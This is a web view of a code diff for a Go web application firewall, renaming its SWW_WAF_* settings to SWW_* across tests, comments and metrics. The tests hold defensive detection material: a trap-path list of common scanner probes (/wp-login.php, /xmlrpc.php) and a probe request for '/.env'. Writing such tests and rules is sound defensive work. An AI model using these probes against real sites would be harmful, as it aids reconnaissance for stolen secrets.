|
||||
requestlog.ActionTemporarilyBanned)
|
||||
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
|
||||
@@ -155,8 +155,8 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
@@ -166,7 +166,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
// A client in SWW_WAF_ALLOW_NETS is not checked.
|
||||
// A client in SWW_ALLOW_NETS is not checked.
|
||||
line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
|
||||
wantRuleIDs(t, line)
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
|
||||
calls.Add(1)
|
||||
})
|
||||
geojsURL, asked := startGeoJS(t)
|
||||
// fromKP is in SWW_WAF_ALLOW_NETS, and in SWW_WAF_DENY_NETS too, which
|
||||
// fromKP is in SWW_ALLOW_NETS, and in SWW_DENY_NETS too, which
|
||||
// comes after it.
|
||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
@@ -36,7 +36,7 @@ func TestAllowNetsSkipEveryCheck(t *testing.T) {
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
// Neither SWW_WAF_DENY_NETS, SWW_WAF_TAG_DENY nor the limit of one request a
|
||||
// Neither SWW_DENY_NETS, SWW_TAG_DENY nor the limit of one request a
|
||||
// minute refuses the client, and its country is not looked up.
|
||||
wantAnswers(t, addr, out, []sentRequest{
|
||||
{fromKP, http.StatusOK, requestlog.ActionForward},
|
||||
@@ -147,7 +147,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
|
||||
|
||||
// listedAddr's requests are neither refused nor counted, so the first
|
||||
// request from unlistedAddr is within the limit of one a minute.
|
||||
// SWW_WAF_TAG_DENY still refuses an exempt client.
|
||||
// SWW_TAG_DENY still refuses an exempt client.
|
||||
wantAnswers(t, addr, out, []sentRequest{
|
||||
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
||||
{listedAddr, http.StatusOK, requestlog.ActionForward},
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic tag_deny. It reads SWW_WAF_TAG_DENY.
|
||||
// The heuristic tag_deny. It reads SWW_TAG_DENY.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -10,7 +10,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// tagDeny refuses a request that carries a tag in SWW_WAF_TAG_DENY. Its figure is
|
||||
// tagDeny refuses a request that carries a tag in SWW_TAG_DENY. Its figure is
|
||||
// the first such tag, in sorted order.
|
||||
type tagDeny struct{}
|
||||
|
||||
|
||||
@@ -51,7 +51,7 @@ func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
|
||||
|
||||
const mixedCaseZone = "DNSBL.example"
|
||||
|
||||
// The zone's tag is in lower case, however SWW_WAF_DNSBL_ZONES writes it.
|
||||
// The zone's tag is in lower case, however SWW_DNSBL_ZONES writes it.
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
|
||||
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic tag_lists. It reads the address lists of SWW_WAF_TAG_LISTS through
|
||||
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
|
||||
// the reputation lists.
|
||||
|
||||
import (
|
||||
@@ -8,7 +8,7 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// tagLists adds to the request one tag for each list of SWW_WAF_TAG_LISTS that
|
||||
// tagLists adds to the request one tag for each list of SWW_TAG_LISTS that
|
||||
// holds the client, the tag being the list's name. It refuses nothing, and runs
|
||||
// first so that every refusal's log line carries these tags.
|
||||
type tagLists struct{}
|
||||
|
||||
@@ -8,9 +8,9 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// tagLists is SWW_WAF_TAG_LISTS, and vpnList and torList lists it names.
|
||||
// tagLists is SWW_TAG_LISTS, and vpnList and torList lists it names.
|
||||
const (
|
||||
tagLists = "SWW_WAF_TAG_LISTS"
|
||||
tagLists = "SWW_TAG_LISTS"
|
||||
vpnList = "https://lists.example/vpn.txt"
|
||||
torList = "https://lists.example/torexit.txt"
|
||||
)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic trap_paths. It reads SWW_WAF_TRAP_PATHS.
|
||||
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// trapPaths refuses a request for a path in SWW_WAF_TRAP_PATHS: its path as a
|
||||
// trapPaths refuses a request for a path in SWW_TRAP_PATHS: its path as a
|
||||
// path rule sees it, without the query, as sent or once percent-decoded, is one
|
||||
// of them. Such a request is a clear sign of attack, as a ban rule's match is:
|
||||
// it bans the client's netblock, or in observe mode raises the alert for the
|
||||
|
||||
@@ -14,14 +14,14 @@ import (
|
||||
// trapPaths is the setting's name, and trapPathList what the tests set it
|
||||
// to.
|
||||
const (
|
||||
trapPaths = "SWW_WAF_TRAP_PATHS"
|
||||
trapPaths = "SWW_TRAP_PATHS"
|
||||
trapPathList = "/wp-login.php,/xmlrpc.php"
|
||||
)
|
||||
|
||||
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
|
||||
// A block rule for the same path: the trap path comes first.
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
@@ -38,7 +38,7 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
||||
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// A client in SWW_WAF_ALLOW_NETS is not checked.
|
||||
// A client in SWW_ALLOW_NETS is not checked.
|
||||
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
// The query is not part of the path.
|
||||
@@ -114,8 +114,8 @@ func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
trapPaths: trapPathList,
|
||||
"SWW_WAF_RULES_ENABLED": "false",
|
||||
trapPaths: trapPathList,
|
||||
"SWW_RULES_ENABLED": "false",
|
||||
})
|
||||
|
||||
s.request(client, "/xmlrpc.php", http.StatusForbidden,
|
||||
|
||||
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
|
||||
// FileParams are what OpenFile needs.
|
||||
type FileParams struct {
|
||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||
// (SWW_WAF_LOOKUP_DB_PATH).
|
||||
// (SWW_LOOKUP_DB_PATH).
|
||||
Path string
|
||||
// Now tells the time, normally time.Now.
|
||||
Now func() time.Time
|
||||
@@ -231,12 +231,12 @@ func (f *File) use(reader *maxminddb.Reader) {
|
||||
func read(path string) (*maxminddb.Reader, error) {
|
||||
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||
}
|
||||
|
||||
reader, err := maxminddb.OpenBytes(data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SWW_WAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
||||
}
|
||||
|
||||
return reader, nil
|
||||
|
||||
@@ -99,9 +99,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
||||
writeFile(t, notDatabase, "not a lookup database\n")
|
||||
|
||||
for path, want := range map[string]string{
|
||||
missing: "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||
": no such file or directory",
|
||||
notDatabase: "SWW_WAF_LOOKUP_DB_PATH " + notDatabase +
|
||||
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
|
||||
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
||||
} {
|
||||
_, err := OpenFile(FileParams{
|
||||
@@ -216,7 +216,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
|
||||
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
||||
Detail: map[string]any{
|
||||
"file": path,
|
||||
"error": "SWW_WAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||
"error opening database: invalid MaxMind DB file",
|
||||
},
|
||||
})
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package lookup looks up each client's AS number and country, through
|
||||
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
||||
// SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||
// most 100,000 clients and for 7 days each, and are written to
|
||||
// lookups.json and read from it by the state package.
|
||||
package lookup
|
||||
@@ -66,7 +66,7 @@ type Params struct {
|
||||
URL string
|
||||
// Timeout is how long a request waits for its client's first answer,
|
||||
// and how long a request to GeoJS may take before it is abandoned
|
||||
// (SWW_WAF_LOOKUP_TIMEOUT).
|
||||
// (SWW_LOOKUP_TIMEOUT).
|
||||
Timeout time.Duration
|
||||
// Wait is true when a setting needs each request's answer before the
|
||||
// request goes on. Otherwise no request waits for one.
|
||||
|
||||
@@ -42,7 +42,7 @@ type busiest struct {
|
||||
func newCountries(topN int) *busiest {
|
||||
countries := newBusiest(topN, "country", "the client's country")
|
||||
countries.refused = counterVec("sww_country_list_refusals_total",
|
||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
[]string{"country"})
|
||||
|
||||
return countries
|
||||
|
||||
+10
-10
@@ -62,8 +62,8 @@ type Metrics struct {
|
||||
|
||||
// New returns the metrics, with the Go runtime's and the process's own.
|
||||
// topN is how many countries and how many AS numbers get series of their
|
||||
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
|
||||
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
// own (SWW_METRICS_TOP_N). Every metric carries instanceName
|
||||
// (SWW_INSTANCE_NAME) as its label instance.
|
||||
//
|
||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||
func New(topN int, instanceName string) *Metrics {
|
||||
@@ -102,7 +102,7 @@ func New(topN int, instanceName string) *Metrics {
|
||||
offences: counterVec("sww_offences_total",
|
||||
"Offences, by kind.", []string{"kind"}),
|
||||
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
|
||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_CORE_RULE_SET_MODE "+
|
||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
||||
"and the rule's id.", []string{"mode", "rule_id"}),
|
||||
countries: newCountries(topN),
|
||||
asns: newASNs(topN),
|
||||
@@ -214,13 +214,13 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
||||
}
|
||||
|
||||
// AddRemoteLog adds the metrics of sending the log lines to
|
||||
// SWW_WAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||
// lines sent, those dropped, and those waiting in the buffer.
|
||||
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_remote_log_lines_sent_total",
|
||||
Help: "Log lines sent to SWW_WAF_LOG_REMOTE_URL.",
|
||||
Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
|
||||
}, func() float64 {
|
||||
return float64(remote.Sent())
|
||||
}),
|
||||
@@ -313,7 +313,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
|
||||
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
||||
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
||||
// that failed, and how many checks the day's budget has left. It is
|
||||
// called once, after AddReputation, while SWW_WAF_ABUSEIPDB_KEY is set.
|
||||
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
|
||||
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
||||
|
||||
@@ -322,7 +322,7 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_reputation_daily_budget_remaining",
|
||||
Help: "Checks of the day's SWW_WAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||
ConstLabels: source,
|
||||
}, func() float64 {
|
||||
return float64(abuseIPDB.BudgetLeft())
|
||||
@@ -363,8 +363,8 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
|
||||
}),
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_alerts_suppressed_total",
|
||||
Help: "Alerts held back: repeats within SWW_WAF_ALERT_COOLDOWN, and " +
|
||||
"alerts past SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
|
||||
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||
ConstLabels: destination,
|
||||
}, func() float64 {
|
||||
return float64(queue.Suppressed())
|
||||
@@ -442,7 +442,7 @@ func (m *Metrics) RuleMatched(id, action string) {
|
||||
}
|
||||
|
||||
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
|
||||
// with SWW_WAF_CORE_RULE_SET_MODE at mode.
|
||||
// with SWW_WAF_MODE at mode.
|
||||
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// and bytes counted over a minute, an hour and a day, as the "Counting
|
||||
// method" section of SPEC.md describes, which tell when a request takes
|
||||
// the client over a rate limit or a byte limit, and each client's history
|
||||
// since it was first seen. At most SWW_WAF_MAX_TRACKED_CLIENTS clients are
|
||||
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
|
||||
// kept, in memory, and written to clients.json and read from it by the
|
||||
// state package.
|
||||
package ratelimit
|
||||
@@ -157,7 +157,7 @@ type Request struct {
|
||||
}
|
||||
|
||||
// New returns a Limiter for limits, with no client counted yet, whose
|
||||
// table holds at most maxClients clients (SWW_WAF_MAX_TRACKED_CLIENTS). Past
|
||||
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
|
||||
// it, the least recently seen client is dropped, with its history, and
|
||||
// starts afresh if it comes back.
|
||||
func New(limits Limits, maxClients int) *Limiter {
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
const limit = 3
|
||||
|
||||
// tableSize is the most clients the tests' tables hold, the default of
|
||||
// SWW_WAF_MAX_TRACKED_CLIENTS.
|
||||
// SWW_MAX_TRACKED_CLIENTS.
|
||||
const tableSize = 20000
|
||||
|
||||
// whole is the percentage of each limit a client gets when nothing lowers
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
// Package remotelog sends the lines sww writes on stdout to the
|
||||
// remote log endpoint, SWW_WAF_LOG_REMOTE_URL, as the "Request log" section
|
||||
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
|
||||
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
||||
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
||||
// or unreachable endpoint never holds up a request or stdout.
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The forms of SWW_WAF_LOG_REMOTE_URL, by its scheme.
|
||||
// The forms of SWW_LOG_REMOTE_URL, by its scheme.
|
||||
const (
|
||||
SchemeUDP = "syslog+udp"
|
||||
SchemeTCP = "syslog+tcp"
|
||||
@@ -56,18 +56,18 @@ const (
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// URL is the endpoint (SWW_WAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||
// SchemeTLS, a host and a port.
|
||||
URL *url.URL
|
||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
RootCAs *x509.CertPool
|
||||
// Buffer is the most lines held while they wait to be sent
|
||||
// (SWW_WAF_LOG_REMOTE_BUFFER).
|
||||
// (SWW_LOG_REMOTE_BUFFER).
|
||||
Buffer int
|
||||
// Facility is the number of the records' syslog facility
|
||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_LOG_REMOTE_APP_NAME).
|
||||
Facility int
|
||||
AppName string
|
||||
}
|
||||
@@ -243,7 +243,7 @@ func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
|
||||
}
|
||||
}
|
||||
|
||||
processLog.Warn("sending to SWW_WAF_LOG_REMOTE_URL failed",
|
||||
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
|
||||
"error", err.Error(), "connecting_again_in", delay.String())
|
||||
|
||||
select {
|
||||
|
||||
@@ -586,7 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
||||
var fields map[string]any
|
||||
|
||||
err := json.Unmarshal([]byte(line), &fields)
|
||||
if err != nil || fields["msg"] != "sending to SWW_WAF_LOG_REMOTE_URL failed" {
|
||||
if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
||||
t.Fatalf("logged %q", line)
|
||||
}
|
||||
|
||||
|
||||
@@ -58,17 +58,17 @@ type Checks struct {
|
||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||
type AbuseIPDBParams struct {
|
||||
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
|
||||
// the account's key (SWW_WAF_ABUSEIPDB_KEY).
|
||||
// the account's key (SWW_ABUSEIPDB_KEY).
|
||||
URL string
|
||||
Key string
|
||||
// MinScore is the least score that is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE),
|
||||
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
|
||||
// and DailyBudget the most checks made in a day, in UTC
|
||||
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
||||
// (SWW_ABUSEIPDB_DAILY_BUDGET).
|
||||
MinScore int64
|
||||
DailyBudget int
|
||||
// CacheTTL is how long a score is used after it was fetched
|
||||
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||
// (SWW_WAF_REPUTATION_TIMEOUT).
|
||||
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
|
||||
// (SWW_REPUTATION_TIMEOUT).
|
||||
CacheTTL time.Duration
|
||||
Timeout time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
|
||||
@@ -53,15 +53,15 @@ type Verdict struct {
|
||||
// DNSBLParams are what NewDNSBL needs.
|
||||
type DNSBLParams struct {
|
||||
// Zones are the DNSBL zones clients are asked about in
|
||||
// (SWW_WAF_DNSBL_ZONES).
|
||||
// (SWW_DNSBL_ZONES).
|
||||
Zones []string
|
||||
// Resolver is the resolver they are asked through
|
||||
// (SWW_WAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
|
||||
// host's, as /etc/resolv.conf names it.
|
||||
Resolver netip.AddrPort
|
||||
// CacheTTL is how long a verdict is used after it was fetched
|
||||
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||
// (SWW_WAF_REPUTATION_TIMEOUT).
|
||||
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
|
||||
// (SWW_REPUTATION_TIMEOUT).
|
||||
CacheTTL time.Duration
|
||||
Timeout time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
|
||||
}
|
||||
}
|
||||
|
||||
// Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
|
||||
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
|
||||
func (d *DNSBL) Zones() []string {
|
||||
return slices.Clone(d.params.Zones)
|
||||
}
|
||||
|
||||
// ListedBy returns the zones whose verdict on addr, a client's address,
|
||||
// lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
|
||||
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key
|
||||
// masked, as config.MaskZoneKey masks it, since they go to the request
|
||||
// log, the alerts and the metrics. A verdict is used until CacheTTL has
|
||||
// passed since it was fetched. Each zone without one is asked about addr
|
||||
@@ -210,7 +210,7 @@ func (d *DNSBL) Snapshot() []Verdict {
|
||||
}
|
||||
|
||||
// Load keeps verdicts, read from reputation.json, in place of those it
|
||||
// keeps, but for those of a zone SWW_WAF_DNSBL_ZONES does not name, and,
|
||||
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
|
||||
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
|
||||
// more is neither used nor written, as for any verdict.
|
||||
func (d *DNSBL) Load(verdicts []Verdict) {
|
||||
|
||||
@@ -40,8 +40,8 @@ const (
|
||||
// zone and otherZone are the DNSBL zones the tests name.
|
||||
zone = "dnsbl.example"
|
||||
otherZone = "other.example"
|
||||
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
|
||||
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
|
||||
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
|
||||
// can have Go's resolver wait for one server, so that it is the
|
||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||
cacheTTL = 24 * time.Hour
|
||||
@@ -419,7 +419,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
|
||||
dnsbl := reputation.NewDNSBL(p)
|
||||
|
||||
// The last verdict still in use, one fetched a TTL ago, and one of a
|
||||
// zone SWW_WAF_DNSBL_ZONES does not name.
|
||||
// zone SWW_DNSBL_ZONES does not name.
|
||||
inUse := reputation.Verdict{
|
||||
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
|
||||
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
// Package reputation fetches the lists the settings name by URL: the
|
||||
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
|
||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
|
||||
// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
|
||||
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
|
||||
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and
|
||||
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It
|
||||
// keeps the last good copy of
|
||||
// each, whole, comment lines included, which is used while a fetch fails,
|
||||
// and when each was last tried. It also asks the DNSBL zones of
|
||||
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||
// today. The state package writes all of these to reputation.json and
|
||||
// reads them from it, so that a restart keeps them too.
|
||||
@@ -67,20 +67,20 @@ type List struct {
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// BlocklistURLs are the blocklists (SWW_WAF_BLOCKLIST_URLS), and
|
||||
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
|
||||
// ASNLimitPercentURL the file of AS:percent lines
|
||||
// (SWW_WAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||
BlocklistURLs []string
|
||||
ASNLimitPercentURL string
|
||||
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
|
||||
// TagLists are the address lists that add a tag (SWW_TAG_LISTS).
|
||||
TagLists []config.TagList
|
||||
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
||||
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||
// (SWW_WAF_CROWDSEC_LAPI_KEY).
|
||||
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||
// (SWW_CROWDSEC_LAPI_KEY).
|
||||
CrowdSecDecisionsURL string
|
||||
CrowdSecKey string
|
||||
// Refresh is how long after a list was last fetched or tried it is
|
||||
// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||
// list, which is fetched again crowdSecRefresh after.
|
||||
Refresh time.Duration
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
@@ -155,7 +155,7 @@ func New(params Params) *Lists {
|
||||
}
|
||||
|
||||
// URLs returns the URL of every list: the blocklists' in the order
|
||||
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
|
||||
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the
|
||||
// tag lists', then the CrowdSec decision list's.
|
||||
func (l *Lists) URLs() []string {
|
||||
urls := slices.Clone(l.params.BlocklistURLs)
|
||||
@@ -175,7 +175,7 @@ func (l *Lists) URLs() []string {
|
||||
}
|
||||
|
||||
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
||||
// the order SWW_WAF_BLOCKLIST_URLS names them.
|
||||
// the order SWW_BLOCKLIST_URLS names them.
|
||||
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
@@ -34,8 +34,8 @@ const (
|
||||
dropURL = "https://lists.example/drop.txt"
|
||||
torURL = "https://lists.example/tor.txt"
|
||||
asnURL = "https://lists.example/asn.txt"
|
||||
// refresh is the tests' SWW_WAF_BLOCKLIST_REFRESH, and cooldown their
|
||||
// SWW_WAF_ALERT_COOLDOWN, longer than it.
|
||||
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
|
||||
// SWW_ALERT_COOLDOWN, longer than it.
|
||||
refresh = 24 * time.Hour
|
||||
cooldown = 48 * time.Hour
|
||||
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
||||
@@ -116,7 +116,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
|
||||
}}
|
||||
lists := start(t, servers, params(torURL, dropURL))
|
||||
|
||||
// In the order SWW_WAF_BLOCKLIST_URLS names them.
|
||||
// In the order SWW_BLOCKLIST_URLS names them.
|
||||
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
||||
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
||||
})
|
||||
|
||||
Loaded 100 of 121 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user